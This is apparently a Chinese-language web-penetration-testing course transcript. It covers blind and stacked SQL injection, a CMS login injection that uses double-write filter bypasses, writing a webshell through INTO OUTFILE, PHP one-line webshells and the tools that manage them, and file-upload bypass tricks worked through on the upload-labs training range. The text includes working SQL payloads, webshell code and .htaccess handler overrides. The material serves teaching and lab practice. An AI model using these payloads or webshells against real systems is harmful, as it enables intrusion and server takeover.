这条语句的意思是：如果当前数据库名是 'security'，那么执行 sleep(5) 使数据库延迟5秒响应，否则执行 1（无延迟）。通过测量页面的响应时间，我们就可以判断条件是否成立。

判断时间盲注的步骤通常是：在疑似注入点后尝试添加 and sleep(5)，观察页面响应是否明显延迟约5秒。如果是，则可能存在时间盲注。

时间盲注的猜解流程与布尔盲注完全一致，只是判断依据从“页面内容变化”变成了“响应时间长短”。由于其每个请求都需要等待睡眠时间，自动化跑数据的速度会比布尔盲注慢很多。

堆叠注入 🥞

堆叠注入是一种特殊的注入类型，它允许攻击者通过查询语句分隔符（通常是分号 ;）一次性执行多条SQL语句。

堆叠注入的原理在于，某些数据库接口函数（如PHP中的 mysqli_multi_query()）支持执行由分号分隔的多条SQL语句，而不像常见的 mysqli_query() 只支持单条语句。

例如，一个普通的查询是：

SELECT * FROM users WHERE id=1

而堆叠注入可以构造：

SELECT * FROM users WHERE id=1; INSERT INTO logs (action) VALUES ('injected')

这将先执行查询，再执行一条插入日志的语句。

堆叠注入的威力在于其权限极高。因为它可以执行任意SQL语句（INSERT, UPDATE, DELETE, DROP 等），而不仅仅是数据查询。这使得它比普通的联合查询注入更具破坏性。

然而，堆叠注入在实际中相对少见，因为它依赖于特定的数据库接口编程方式。在测试时，可以尝试在参数后添加分号 ; 再接一条测试语句（如 select 1），观察是否能够执行。

总结

本节课中我们一起学习了三种重要的SQL注入技术：

  1. 布尔盲注：通过页面内容的布尔状态（有/无）差异来推断和提取数据。
  2. 时间盲注：通过页面响应时间的延迟来判断SQL条件是否成立，是布尔盲注的延伸。
  3. 堆叠注入：利用分号分隔符一次性执行多条SQL语句，权限更高但利用条件更苛刻。

理解这些技术的原理是关键，而在实际漏洞挖掘中，我们通常使用 sqlmap 等工具来自动化完成复杂的猜解过程。手工测试的价值在于验证漏洞的存在和原理。请结合课后提供的靶场进行练习，巩固对这些高级注入技术的理解。

🛡️ 课程P15：第13天 - SQL注入漏洞挖掘思路详解

在本节课中，我们将系统性地学习SQL注入漏洞的挖掘思路。课程将从一个实战网站出发，讲解如何识别目标、发现注入点、分析过滤规则并最终完成漏洞利用。整个过程将结合指纹识别、目录扫描、代码审计等多种技术，为你呈现一个完整的渗透测试流程。

🎯 概述：SQL注入漏洞挖掘的核心思路

面对一个可能存在SQL注入的网站，盲目测试往往效率低下。一个清晰的思路能帮助我们快速定位漏洞。核心流程通常包括：信息收集（识别CMS、框架、语言）、寻找潜在注入点、利用已知历史漏洞、分析代码过滤规则、手工构造Payload进行绕过。

上一节我们概述了整体思路，本节中我们来看看具体如何操作。

🔍 第一步：信息收集与指纹识别

打开目标网站后，第一步是判断网站的基本信息。

首先，查看网页源代码或特定标识。例如，在示例网站中，我们发现“BES企业网站管理系统”的标识，这表明它是一个开源的CMS。

我们可以通过搜索引擎（如百度或谷歌）搜索该CMS名称，通常能找到其官方源码或相关介绍。这证实了网站使用的是BES CMS，并且开发语言是PHP（通过文件后缀如.php可判断）。

此外，可以使用工具进行更精确的指纹识别。虽然工具如“御剑”或“DirSearch”常用于扫描目录，但它们也能辅助识别CMS。关键在于，识别出CMS后，我们就可以去搜索该CMS是否存在公开的历史漏洞。

📁 第二步：目录扫描与后台发现

如果从网站前台无法直接发现漏洞点，下一步就是扫描其目录结构，寻找隐藏的后台管理界面或其他敏感路径。

以下是进行目录扫描的常用工具：

  • DirSearch： 一款快速的目录扫描工具。
  • 御剑： 另一款常用的目录扫描工具，功能全面。

在示例中，使用工具扫描后，我们发现了 /admin/、 /boot/、 /upload/ 等目录。其中 /admin/ 极有可能是网站的后台管理登录入口。

发现后台是渗透测试中的一个重要突破点，因为后台功能往往存在更多的安全风险。

💡 第三步：利用已知历史漏洞

识别出目标使用的是BES CMS后，我们应立即搜索其历史漏洞。

在搜索引擎中输入关键词，例如“BES CMS 漏洞”或“BES CMS SQL注入”。搜索结果中通常会包含多个漏洞披露文章，其中就可能涉及后台SQL注入、任意文件上传等。

通过阅读这些文章，我们可以快速定位到具体的漏洞点和利用方法。这是一种高效且常见的漏洞挖掘方式，尤其适用于存在公开漏洞的开源系统。

🧩 第四步：代码审计分析过滤规则

如果希望更深入地理解漏洞成因或应对自定义的过滤，就需要进行简单的代码审计。对于开源CMS，我们可以直接下载其源码进行分析。

在示例的BES CMS后台登录漏洞中，通过分析源码文件（如 login.php），我们找到了处理用户登录的代码段。关键发现如下：

  1. 用户输入的 user 参数通过 $_POST 方式传入。
  2. 该参数随后经过两个过滤函数处理：fl_html 和 fl_value。
  3. 过滤后，参数被直接拼接进SQL查询语句中。

代码示例：

$user = fl_html(fl_value($_POST['user']));
$sql = "SELECT * FROM bes_admin WHERE user='$user' AND password='$pwd'";

fl_value 函数是漏洞的关键，它采用黑名单替换机制，将某些关键词（如 union, select, and）替换为空字符串。但替换逻辑存在缺陷，可以通过双写方式绕过。

例如，如果过滤函数将 union 替换为空，那么输入 ununionion 在经过替换后，中间的 union 被移除，剩下的 un 和 ion 会重新组合成 union，从而绕过过滤。

⚔️ 第五步：手工构造Payload进行注入

了解了过滤规则（黑名单替换）后，我们就可以手工构造SQL注入Payload。

1. 判断注入点：
使用经典的 order by 语句测试，例如 order by 5 正常，order by 6 报错，说明当前查询的列数为5。

2. 报错注入利用：
由于页面显示数据库报错信息，我们选择使用报错注入。一个典型的报错注入Payload格式为：

and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)

我们需要根据过滤规则对每个关键词进行绕过：

  • and 被过滤 → 使用 anandd 进行双写绕过。
  • select 被过滤 → 使用 selselectect 进行双写绕过。
  • concat 未被过滤，可直接使用。
  • 等号 = 被过滤 → 可以使用 like 或 in 运算符替代。例如 table_schema in (database())。

构造后的Payload示例：

anandd updatexml(1, concat(0x7e, (selselectect database()), 0x7e), 1)

发送此Payload，即可在报错信息中看到当前数据库名。

3. 获取数据：
后续获取表名、列名、数据的步骤原理相同，只需替换括号内的查询语句，并持续对过滤关键词进行双写绕过即可。

🐚 第六步：高级利用 - SQL注入写WebShell

在特定条件下，SQL注入漏洞甚至可以用于向服务器写入WebShell，从而获取系统控制权。

前提条件：

  1. 数据库用户需具备FILE权限。
  2. MySQL配置中的 secure_file_priv 参数值为空或指向可写目录。
  3. 需要知道网站的绝对路径。

写入WebShell的SQL语句原型：

SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'

在联合注入中，可以构造如下：

union select 1, "<?php @eval($_POST['cmd']);?>", 3, 4 INTO OUTFILE '/var/www/html/shell.php'

同样，需要对 union, select 等关键词进行双写绕过。网站路径可以通过报错注入、经验猜测或结合其他信息泄露漏洞获得。

📝 总结与回顾

本节课我们一起学习了SQL注入漏洞的完整挖掘思路：

  1. 信息收集： 识别目标CMS、开发语言和框架，为后续搜索漏洞奠定基础。
  2. 目录扫描： 使用工具发现隐藏目录，特别是后台管理入口。
  3. 漏洞搜索： 利用搜索引擎查找目标CMS的公开历史漏洞，快速定位攻击点。
  4. 代码审计： 通过分析源码理解漏洞成因和过滤机制，为绕过做准备。
  5. 手工注入： 根据过滤规则（如黑名单替换），手工构造双写绕过的Payload，逐步获取数据库信息。
  6. 高级利用： 在满足条件时，利用注入漏洞写入WebShell，进一步控制服务器。

核心要点在于：思路优于盲目测试。结合信息收集、利用公开漏洞和代码分析，能极大提高漏洞挖掘的效率和成功率。请务必在合法授权的前提下进行练习，并不断巩固这些技巧。

🛡️ 网络安全就业推荐 - P16：第14天：WebShell基础及文件上传漏洞准备

在本节课中，我们将要学习WebShell的基本概念、工作原理、常见类型以及管理工具。这是理解后续文件上传漏洞课程的重要基础。

什么是WebShell？🤔

WebShell是一种以ASP、PHP、JSP等网页文件形式存在的命令执行环境。这些网页文件是动态脚本文件，可以被称为网页木马后门。攻击者通过此类网页后门获取网站服务器的权限，从而控制服务器进行文件上传下载、查看数据库以及执行命令。

上一节我们介绍了WebShell的基本定义，本节中我们来看看与之相关的“木马”和“后门”概念。

木马，全称特洛伊木马，指隐藏在计算机中用于非授权远程控制的程序。其作用是开放系统权限、泄露用户信息给攻击者，是黑客常用工具，能在管理员未察觉的情况下获取系统权限。

后门，指攻击者利用服务（如Web服务的80端口、远程桌面的3389端口、SSH的22端口）获取服务器权限后，为自己留下的隐蔽入口。

WebShell的分类 📂

了解了基本概念后，我们来看看WebShell有哪些常见的分类方式。

根据文件大小，WebShell可分为以下三类：

  • 一句话木马：代码极短，通常只有一行，使用方便。
  • 小马：体积较小，通常包含文件上传等基础功能。
  • 大马：体积较大，功能丰富，代码常进行加密以绕过检测。

根据脚本类型，WebShell可分为：

  • ASP
  • JSP
  • ASPX
  • PHP
  • 等动态网页脚本文件。目前PHP语言开发的网站较为常见。

WebShell的特点与攻击流程 ⚙️

WebShell通常具有以下四个特点：

  1. 以动态脚本语言形式出现。
  2. 本质上是一个木马后门，能获取服务器权限并执行命令。
  3. 通常通过80端口（Web服务端口）传递数据，可以穿越防火墙。
  4. 一般不在系统日志中留下记录，只会在Web日志中留下数据传递记录。

那么，攻击者是如何利用WebShell进行攻击的呢？以下是基本的攻击流程：

  1. 获取Web权限：利用SQL注入、文件上传等Web漏洞获取执行命令或上传文件的权限。
  2. 上传小马：利用获取的权限上传一个功能简单的小马。小马的主要作用是上传大马。
  3. 上传大马：通过小马的文件上传功能，将功能强大的大马上传到服务器。
  4. 远程执行命令：通过大马执行命令，获取服务器信息，完成攻击。

常见WebShell示例（以PHP为例）💻

上一节我们介绍了WebShell的攻击流程，本节中我们来看看具体的代码示例。我们将以PHP语言为例，展示几种常见的一句话木马形式。

1. GET方式传递参数

<?php @eval($_GET['pass']);?>
  • eval()函数将字符串作为PHP代码执行。
  • $_GET['pass']通过URL的GET参数（如?pass=命令）接收要执行的命令字符串。

2. POST方式传递参数

<?php @eval($_POST['pass']);?>
  • 原理与GET方式类似，但命令字符串通过HTTP请求体中的POST参数传递。

3. COOKIE方式传递参数

<?php @assert($_COOKIE['cmd']);?>
  • assert()函数检查表达式，若为字符串则将其作为PHP代码执行。
  • $_COOKIE['cmd']从HTTP请求头的Cookie字段中获取要执行的命令字符串。

WebShell管理工具 🛠️

手动通过浏览器传递命令效率较低，因此诞生了专门的WebShell管理工具。以下是几种常见工具：

  • 中国菜刀：经典的WebShell管理工具，但目前已较为过时。
  • C刀 (Cknife)：界面简洁，功能实用，基于Java开发。
  • Weevely：Kali Linux中自带的命令行WebShell管理工具，可用于生成木马和连接。
  • 中国蚁剑：功能丰富的WebShell管理客户端。
  • 冰蝎 (Behinder)：新一代WebShell管理工具，通信过程全程加密，能有效绕过防火墙和WAF检测。

这些工具的核心功能都是连接我们上传的一句话木马，提供图形化或命令行界面来方便地执行命令、管理文件、操作数据库等。

总结 📝

本节课中我们一起学习了WebShell的基础知识。我们了解了WebShell是一种网页后门，攻击者通过它控制服务器。我们学习了WebShell根据大小和脚本类型的分类，掌握了其通过80端口通信的特点和“利用漏洞->上传小马->上传大马->执行命令”的基本攻击流程。最后，我们通过PHP代码示例直观地认识了几种一句话木马，并了解了几款常用的WebShell管理工具。理解这些内容是学习明天文件上传漏洞课程的重要前提。

网络安全就业推荐 P17：第15天：文件上传黑名单、白名单及数组绕过技巧 📁

在本节课中，我们将学习不安全的文件上传漏洞。我们将了解文件上传的基本概念、常见的检测方式，并重点学习如何绕过客户端和服务端的各种安全检测，最终掌握利用解析漏洞的方法。

一、 文件上传基础介绍

文件上传是指客户端将数据以文件形式封装，通过HTTP协议发送到服务端。服务端接收并解析数据后，将其存储在硬盘上。

文件上传漏洞产生的原因主要有以下几点：

  1. 服务器配置不当，未对上传文件进行检测。
  2. 文件上传限制被绕过，过滤机制不完整或无效。
  3. 开源编辑器存在上传漏洞。
  4. Web服务器存在文件解析漏洞。

文件上传漏洞的危害在于，如果服务端未对上传文件进行严格验证，攻击者可以上传恶意文件（如Webshell），从而控制整个网站或服务器。

漏洞常见位置包括：

  • 图片上传功能
  • 头像上传功能
  • 文档上传功能

二、 文件上传检测方式与绕过流程

上一节我们介绍了文件上传的基础概念，本节中我们来看看文件上传过程中常见的检测方式以及基本的绕过流程。

一般的文件上传检测方式包括：

  1. 客户端JS检测：在前端通过JavaScript脚本检测文件扩展名。
  2. 服务端MIME类型检测：检测HTTP请求头中的 Content-Type 字段。
  3. 服务端目录路径检测：检测上传文件的目标路径。
  4. 服务端文件扩展名检测：检测文件的后缀名。
  5. 服务端文件内容检测：检测文件内容的合法性。

文件上传绕过的基本流程如下：

  1. 使用抓包工具（如Burp Suite）拦截文件上传的HTTP请求包。
  2. 根据服务端的检测点，修改请求包中的相应字段（如文件名、Content-Type、文件内容等）。
  3. 将修改后的数据包发送给目标服务器。
  4. 服务器响应，若绕过成功则文件被上传。

三、 绕过客户端检测 (JS检测)

客户端检测的原理是在上传页面的前端JavaScript代码中，对文件的类型或扩展名进行校验。

绕过方法的核心是阻止前端JS代码执行或绕过其检测逻辑。

以下是具体的绕过方法：

方法一：禁用浏览器JS

  • 使用浏览器插件（如Firefox的NoScript）禁用页面JavaScript。

方法二：删除前端检测代码

  • 通过浏览器开发者工具（F12）审查元素，找到并删除执行检测的JS函数或相关HTML属性（如onsubmit）。

方法三：抓包改包
这是最常用且有效的方法，步骤如下：

  1. 先上传一个服务器允许的文件（如shell.png），并利用Burp Suite抓取此请求包。
  2. 在Burp Suite中，将请求包里的文件名（filename字段）修改为恶意后缀（如shell.php）。
  3. 将修改后的数据包转发给服务器。

由于前端JS检测已在上传合法文件时通过，而后续的请求包被我们篡改，从而成功绕过客户端检测。

四、 绕过服务端检测

上一节我们学习了如何绕过前端的检测，本节中我们来看看如何绕过更常见的服务端检测。服务端检测主要围绕三个点：MIME类型、文件后缀和文件内容。

1. 绕过MIME类型检测

服务端通过检查HTTP请求头中的 Content-Type 字段值来判断文件类型。

绕过方法：使用抓包工具，将请求包中的 Content-Type 字段值修改为服务端允许的类型。

  • 例如，将 Content-Type: application/php 修改为 Content-Type: image/png。

2. 绕过文件后缀检测（黑名单/白名单）

服务端通过检查文件扩展名来过滤，主要采用两种策略：黑名单和白名单。

黑名单策略：名单内的后缀不允许上传。
以下是针对黑名单的常见绕过方法：

  • 后缀大小写绕过：利用系统大小写不敏感的特性。例如，黑名单过滤了.php，但可以尝试.Php、.pHp等。
    • 示例文件名：shell.Php
  • 空格绕过：在文件名后添加空格。某些系统在保存文件时会自动去除末尾空格。
    • 示例文件名：shell.php
  • 点号绕过：在文件名后添加点号。原理同上。
    • 示例文件名：shell.php.
  • Windows特性绕过：利用Windows文件系统的特殊命名规则。
    • 示例文件名：shell.php::$DATA 或 shell.php:1.jpg
  • 配合解析漏洞：利用Web服务器解析漏洞。例如Apache的解析特性是从右向左识别后缀，遇到不可识别后缀则继续向左判断。
    • 示例文件名：shell.php.xxx.yyy (.xxx.yyy为不可识别后缀)
  • .htaccess文件攻击：上传一个自定义的.htaccess文件，使服务器将特定文件（如图片）当作PHP脚本解析。
    • .htaccess文件内容示例：
      <FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

白名单策略：只允许名单内的后缀上传，安全性更高。
针对白名单的绕过方法相对较少，主要利用截断上传：

  • %00截断：在文件名中插入URL编码的%00（空字符），服务端在解析时会忽略%00后的内容。
    • GET请求：直接在URL中使用%00，如 filename=shell.php%00.jpg
    • POST请求：需要将%00解码后的空字符（十六进制00）通过Hex编辑直接插入数据包中。例如，在Burp Suite的Hex视图中，将文件名字段中jpg前的空格（20）修改为00。
    • 最终服务端保存的文件名可能是shell.php。

3. 绕过文件内容检测

服务端会检测文件内容的合法性，主要有两种方式：

  • 检测文件幻数 (Magic Number)：检查文件头部的特定字节，如图片文件常见的幻数。

    • 绕过方法：在恶意脚本文件的开头添加合法的文件幻数。
    • 常见文件幻数示例：
      • JPEG: FF D8 FF E0
      • PNG: 89 50 4E 47
      • GIF: 47 49 46 38 (即字符串GIF89a)
    • 可以使用十六进制编辑器（如WinHex）在PHP木马文件开头添加GIF89a。

  • 图像二次渲染：服务端对上传的图片进行重新压缩或处理，会破坏注入到图片中的代码。

    • 这种情况较难绕过，通常需要寻找图像处理库本身的漏洞（如图像溢出漏洞）。

五、 Web服务器解析漏洞简介

除了绕过检测，某些Web服务器自身存在的解析漏洞也可能被利用来执行上传的恶意文件。虽然现在较少见，但仍需了解。

以下是几种常见的解析漏洞：

  • Apache解析漏洞：Apache在解析文件时，从右向左识别后缀，遇到不可识别后缀则向左跳过，直到遇到可识别后缀。

    • 例如：文件shell.php.abc，.abc不可识别，Apache会将其解析为shell.php。

  • IIS 6.0解析漏洞：

    1. 目录解析：如果目录名包含.asp、.asa、.cer等，则该目录下所有文件都会被当作ASP脚本解析。
      • 例如：创建目录upload.asp，然后上传文件shell.jpg，访问/upload.asp/shell.jpg时，shell.jpg会被当作ASP执行。
    2. 分号解析：IIS 6.0在解析时，会忽略分号;后面的内容。
      • 例如：文件shell.asp;.jpg会被解析为shell.asp。

  • IIS 7.0/7.5 & Nginx解析漏洞：在特定配置下，如果PHP的解析由FastCGI处理，且cgi.fix_pathinfo设置为1（默认值），则存在解析漏洞。

    • 例如：上传文件shell.jpg，访问/shell.jpg/.php，Nginx会将其交给PHP解析器，PHP解析器认为/shell.jpg/.php是一个文件路径，但shell.jpg文件存在，于是将其内容以PHP代码执行。
    • 同样可以利用%00截断：/shell.jpg%00.php

六、 课程总结与课后作业

本节课中我们一起学习了不安全的文件上传漏洞。我们从文件上传的基本概念入手，详细剖析了客户端（JS检测）和服务端（MIME类型、文件后缀黑/白名单、文件内容）的多种检测机制，并学习了对应的绕过技巧。最后，我们还简要介绍了几种Web服务器的历史解析漏洞。

核心要点总结：

  1. 客户端绕过：抓包改包是王道。
  2. 服务端绕过：针对检测点（类型、后缀、内容）进行精准伪造或利用特性（大小写、空格、截断、解析漏洞）。
  3. 综合利用：在实际测试中，可能需要结合多种方法才能成功上传Webshell。

课后作业：
请完成提供的upload-labs靶场第1至17关。请先尝试运用本节课所学知识独立完成，并记录每关的绕过方法和步骤。下节课我们将详细讲解该靶场的通关思路。

注意：本教程仅用于网络安全学习与合法授权测试，请勿用于非法用途。

🛡️ 网络安全就业推荐 - P18：第16天：文件上传漏洞靶场实操教程

在本节课中，我们将深入学习文件上传漏洞的实战绕过技巧。我们将通过一个精心设计的靶场环境，逐一分析并绕过常见的文件上传检测机制，例如前端JS检测、MIME类型检测、黑名单过滤、文件内容检测等。课程将结合代码分析、工具使用（如Burp Suite）和实际操作，帮助初学者理解漏洞原理并掌握利用方法。

📋 环境配置与问题解答

上一节我们介绍了文件上传漏洞的基本绕过思路，本节中我们来看看靶场环境的配置以及同学们遇到的一些常见问题。

为了顺利进行后续的靶场实操，需要确保PHPStudy环境配置正确。以下是关键配置步骤：

  1. 开启PHP扩展：在PHPStudy的“PHP扩展”中，确保勾选并启用 php_gd2.dll 和 php_exif.dll 这两个组件。
  2. 启用Apache重写模块：修改Apache配置文件（httpd.conf），找到 LoadModule rewrite_module modules/mod_rewrite.so 这一行，去掉行首的注释符号（#）。
  3. 修改目录权限：在配置文件中，找到所有包含 AllowOverride 的项，将其值从 None 改为 All。
  4. 添加PHP解析配置：为了后续利用特殊后缀（如 .php3, .phtml）绕过，需要在配置文件中添加类型映射。例如，在 httpd.conf 或相关配置中添加：
    AddType application/x-httpd-php .php .php3 .phtml

注意：课程提供的靶场压缩包已预先完成上述配置，建议直接使用，以避免环境问题。

🔍 靶场关卡实操与原理分析

接下来，我们将逐一分析靶场中的各个关卡，理解其检测逻辑并实践绕过方法。

第1关：前端JS检测绕过

本关主要考察对前端JavaScript检测的绕过。网站通过JS代码在客户端检查文件后缀，若不符合白名单则阻止上传。

绕过方法：
以下是两种常用方法：

  • 禁用浏览器JS：直接在浏览器设置中禁用JavaScript，然后上传 .php 文件。
  • 抓包修改：
    1. 上传一个图片文件（如 .jpg），以通过前端检测。
    2. 使用Burp Suite拦截上传请求。
    3. 将请求包中的文件名（如 shell.jpg）修改为 shell.php，然后放行。

核心代码分析：
查看网页源码，关键检测函数如下：

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    // 定义允许的后缀
    var allow_ext = ".jpg|.png|.gif";
    // 提取文件后缀
    var ext_name = file.substring(file.lastIndexOf("."));
    if (allow_ext.indexOf(ext_name) == -1) {
        alert("该文件不允许上传，请上传" + allow_ext + "类型的文件!");
        return false;
    }
}

第2关：MIME类型检测绕过

本关服务端通过检查HTTP请求头中的 Content-Type 字段来验证文件类型。

绕过方法：

  1. 准备一个图片马（将PHP代码插入到图片中）。在Windows命令行下使用 copy 命令制作：
    copy normal.jpg /b + shell.php /a webshell.jpg
    参数 /b 表示二进制文件，/a 表示ASCII文本文件。这样生成的 webshell.jpg 既能正常显示图片，又包含PHP代码。
  2. 上传该图片马，并用Burp Suite抓包。
  3. 将数据包中的 Content-Type: image/jpeg 保留，同时将文件名 webshell.jpg 修改为 webshell.php 即可。

核心代码分析：
服务端验证逻辑通常类似以下PHP代码：

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
    // 允许上传
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
    move_uploaded_file($temp_file, $img_path);
} else {
    $msg = '文件类型不正确，请重新上传！';
}

第3关：黑名单过滤（基础绕过）

本关服务端采用了黑名单机制，禁止上传 .php, .asp 等脚本文件，但过滤并不严格。

测试与绕过思路：
首先进行模糊测试，上传各种变形后的文件名，观察响应。

  • 上传 shell.php -> 被拦截。
  • 上传 shell.jpg -> 成功。说明存在黑名单。
  • 尝试 shell.Php (大小写) -> 可能被拦截（说明做了小写转换）。
  • 尝试 shell.php. (末尾加点) -> 可能被拦截（说明删除末尾点）。
  • 尝试 shell.php (末尾加空格) -> 可能被拦截（说明去除首尾空格）。

有效绕过方法：
利用黑名单未包含的其他可解析后缀。例如，在特定服务器配置下，.php3, .phtml, .phps 等后缀同样会被当作PHP文件执行。上传 shell.phtml 即可绕过。

核心代码分析：
关键过滤函数如下：

$deny_ext = array('.php','.asp','.aspx','.jsp');
$file_name = trim($_FILES['upload_file']['name']); // 去除首尾空格
$file_name = deldot($file_name); // 删除末尾的点
$file_ext = strtolower(strrchr($file_name, '.')); // 获取后缀并转为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除特殊字符串
if (!in_array($file_ext, $deny_ext)) {
    // 允许上传
}

由于黑名单数组 $deny_ext 中没有 .phtml，因此可以绕过。

第4关：黑名单过滤（.htaccess文件利用）

本关黑名单更加全面，包含了 .php3, .phtml 等常见变种。此时，可以尝试利用Apache的分布式配置文件 .htaccess 来重新定义解析规则。

绕过方法：

  1. 创建一个名为 .htaccess 的文件，内容如下：
    <FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
    这段配置的意思是，在当前目录下，所有文件名中包含 “shell” 的文件，都会被当作PHP文件来解析。
  2. 先上传 .htaccess 文件。
  3. 再上传一个内容为PHP代码、文件名包含 “shell” 的文件，例如 shell.jpg。
  4. 访问 http://靶场地址/upload/shell.jpg，其中的PHP代码将会被执行。

原理：.htaccess 文件可以覆盖Apache服务器在特定目录下的配置。通过它，我们强制服务器将特定文件当作PHP解析，从而绕过后缀检查。

第5关：黑名单过滤（点空格点绕过）

本关过滤了 .htaccess 文件的上传，但我们可以利用Windows系统的文件命名特性。

绕过方法：
构造一个特殊的文件名，例如 shell.php. .（点+空格+点）。

  1. 服务端代码可能会删除末尾的点，得到 shell.php. 。
  2. 再经过去除空格操作，得到 shell.php.。
  3. 黑名单比较的是 .php.，而名单里只有 .php，因此绕过。
  4. 当文件在Windows系统上保存时，系统会自动去除最后的 .，最终磁盘上保存的文件名就是 shell.php。

核心逻辑：利用代码过滤顺序与Windows系统处理文件名方式的差异。

第6-11关：黑名单过滤的多种变形

这些关卡是黑名单过滤的各种变体，原理相似，主要考察对过滤逻辑的理解和测试技巧。

以下是各关卡的绕过要点：

  • 第6关：后缀名大小写：直接使用 .PHP（大写）绕过，因为黑名单里是 .php（小写）。
  • 第7关：后缀名空格：使用 shell.php （php后加一个空格）。代码可能只去除了首尾空格，但未处理中间空格，导致后缀识别为 .php 而绕过。
  • 第9关：特殊字符串 ::$DATA：在Windows NTFS文件系统中，::$DATA 是数据流标识，文件保存时会自动忽略。上传 shell.php::$DATA，服务端可能识别后缀为 .php::$DATA 从而绕过黑名单，但系统存为 shell.php。
  • 第10关：点空格点多重绕过：类似第5关，尝试 shell.php. . . 等组合。
  • 第11关：双写后缀绕过：如果发现代码使用 str_replace(“php”, “”, $file_ext) 来删除 “php” 字符串，可以使用双写法：shell.pphphp。替换一次后，中间的 php 被删，剩下的 p 和 hp 组合，又形成了 php。

第12-13关：%00截断绕过

本关漏洞点不在文件名本身，而在文件保存的路径上。服务端将用户可控的路径与文件名拼接，如果路径中存在空字符（%00），则后续内容会被截断。

第12关（GET型截断）：

  1. 正常上传一个图片，用Burp抓包。
  2. 观察发现，保存路径 save_path 参数在URL中（GET传递）。
  3. 修改 save_path 为 ../upload/shell.php%00。
  4. 上传一个正常图片，拼接后的路径为 ../upload/shell.php%00normal.jpg。经过URL解码后，%00 是空字符，许多C语言函数（如fopen）会认为字符串在此结束，因此实际保存的文件是 ../upload/shell.php。

第13关（POST型截断）：

  1. POST型数据不会自动URL解码，所以不能直接写 %00。
  2. 需要在Burp Suite的Hex视图下，找到路径参数值对应的地方，直接修改一个字节为 00（空字符的16进制）。
  3. 例如，将 ../upload/shell.php.jpg 中的 . 的16进制值 2e 替换为 00。
  4. 效果与GET型相同，保存的文件被截断为 shell.php。

第14-16关：文件内容检测绕过

服务端开始检查文件内容，而不仅仅是元数据。

第14关：文件头检测：
服务端通过读取文件的前几个字节（文件幻数）来判断类型。

  • JPEG: FF D8 FF E0
  • PNG: 89 50 4E 47
  • GIF: 47 49 46 38

绕过方法：在PHP木马文件的开头，添加对应的图片文件头。例如，制作一个内容为 GIF89a<?php phpinfo();?> 的文件，并命名为 shell.gif。上传时，文件头检测通过，但后缀仍需通过其他方式（如配合文件包含漏洞）才能解析。

第15-16关：getimagesize()函数检测：
PHP的 getimagesize() 函数会读取图片的尺寸等信息，如果不是有效的图片文件则返回false。
绕过方法：使用真实的图片马。用 copy 命令或者图片编辑工具，将PHP代码写入图片的注释等元数据区域，确保不破坏图片结构，使 getimagesize() 能正常返回信息。

第17关：图片渲染二次检测

这是最严格的检测。服务端不仅检查文件头，还会用GD库等图像处理函数对图片进行渲染再保存。普通的图片马在渲染过程中，插入的代码很可能被破坏或丢弃。

绕过方法：

  1. 需要找到图片中一块“空白”或注释区域，该区域在图像渲染时不会被修改。
  2. 使用专业的工具（如weevely的gifshuffle或手动使用十六进制编辑器）将PHP代码精确插入到这些区域。
  3. 上传此精心构造的图片马。
  4. 通常，还需要配合文件包含漏洞（第18关）来执行图片中的代码。因为即使上传成功，服务器也不会直接解析图片文件中的PHP代码。

文件包含漏洞配合利用：
假设存在一个文件包含漏洞页面 include.php，代码如下：

<?php include($_GET['file']); ?>

那么，上传图片马 shell.jpg 后，访问 include.php?file=./upload/shell.jpg，包含漏洞会读取图片文件内容并将其中的 <?php ... ?> 代码当作PHP执行，从而获得Webshell。

📝 总结与考核预告

本节课中我们一起学习了文件上传漏洞的多种实战绕过技巧。我们从最简单的客户端检测开始，逐步深入到服务端的黑名单、内容检测乃至严格的图片渲染检测。关键在于理解每一关的防御逻辑，并通过模糊测试和代码审计来寻找其缺陷，最后使用相应的技巧进行绕过。

核心要点回顾：

  1. 前端绕过：禁用JS或抓包修改。
  2. 黑名单绕过：寻找未过滤的后缀、利用系统特性（点、空格、::$DATA）、双写、.htaccess文件。
  3. 截断绕过：利用%00空字符截断文件路径。
  4. 内容检测绕过：添加文件头、制作不破坏结构的图片马。
  5. 综合利用：文件上传漏洞常需与文件包含、解析漏洞等结合才能最终获取权限。

下节课预告：下周将进行文件上传漏洞的实战考核。我们将在综合靶机环境中，对多个存在上传漏洞的CMS系统进行实战攻击。请大家提前尝试，将遇到的问题带到课堂，我们共同讨论解决。

建议同学们课后使用配置好的靶场，对每一关重新操作一遍，并尝试不查看源码，仅通过黑盒测试（上传测试、观察响应、抓包分析）来判断和绕过，以巩固学习效果。

🛡️ 网络安全就业推荐 - 课程P19：第17天：文件上传漏洞挖掘思路

在本节课中，我们将学习文件上传漏洞的实战挖掘思路。课程将围绕上周布置的考核题目展开，通过分析几个具体的CMS（内容管理系统）案例，讲解如何发现并利用文件上传漏洞获取服务器权限。我们将从信息收集、漏洞探测、绕过技巧到最终利用，完整地走一遍实战流程。

📚 课前资料与回顾

上一节我们介绍了文件上传漏洞的基本原理和常见绕过方法。本节中，我们来看看如何将这些知识应用到实战中。在课程开始前，老师在群里分享了一些资料，这些资料对本次考核和后续学习非常有帮助。

以下是课前分享的核心资料介绍：

  • fuzz字典集：包含SQL注入和文件上传相关的Fuzz字典。在做爆破测试时，这些字典非常有用。例如，在测试SQL注入点时，如果不知道如何构造Payload，可以直接使用Burp Suite的Intruder模块加载这些字典进行自动化测试。
  • 文件上传漏洞字典生成脚本：这是一篇技术文章附带的Python脚本。文章几乎涵盖了课堂上讲过的所有文件上传漏洞点，作者根据这些点编写了脚本，可以自动生成用于Fuzz测试的字典。如果看不懂代码，可以重点阅读文章中列出的各种绕过方法（如大小写混合绕过）。
  • GitHub项目：上述脚本在GitHub上有开源项目，里面已经生成了现成的字典。字典中组合了常见的绕过后缀，如%00截断、大小写、.php5、.phtml等。在手工测试麻烦时，可以使用这些字典进行批量测试。
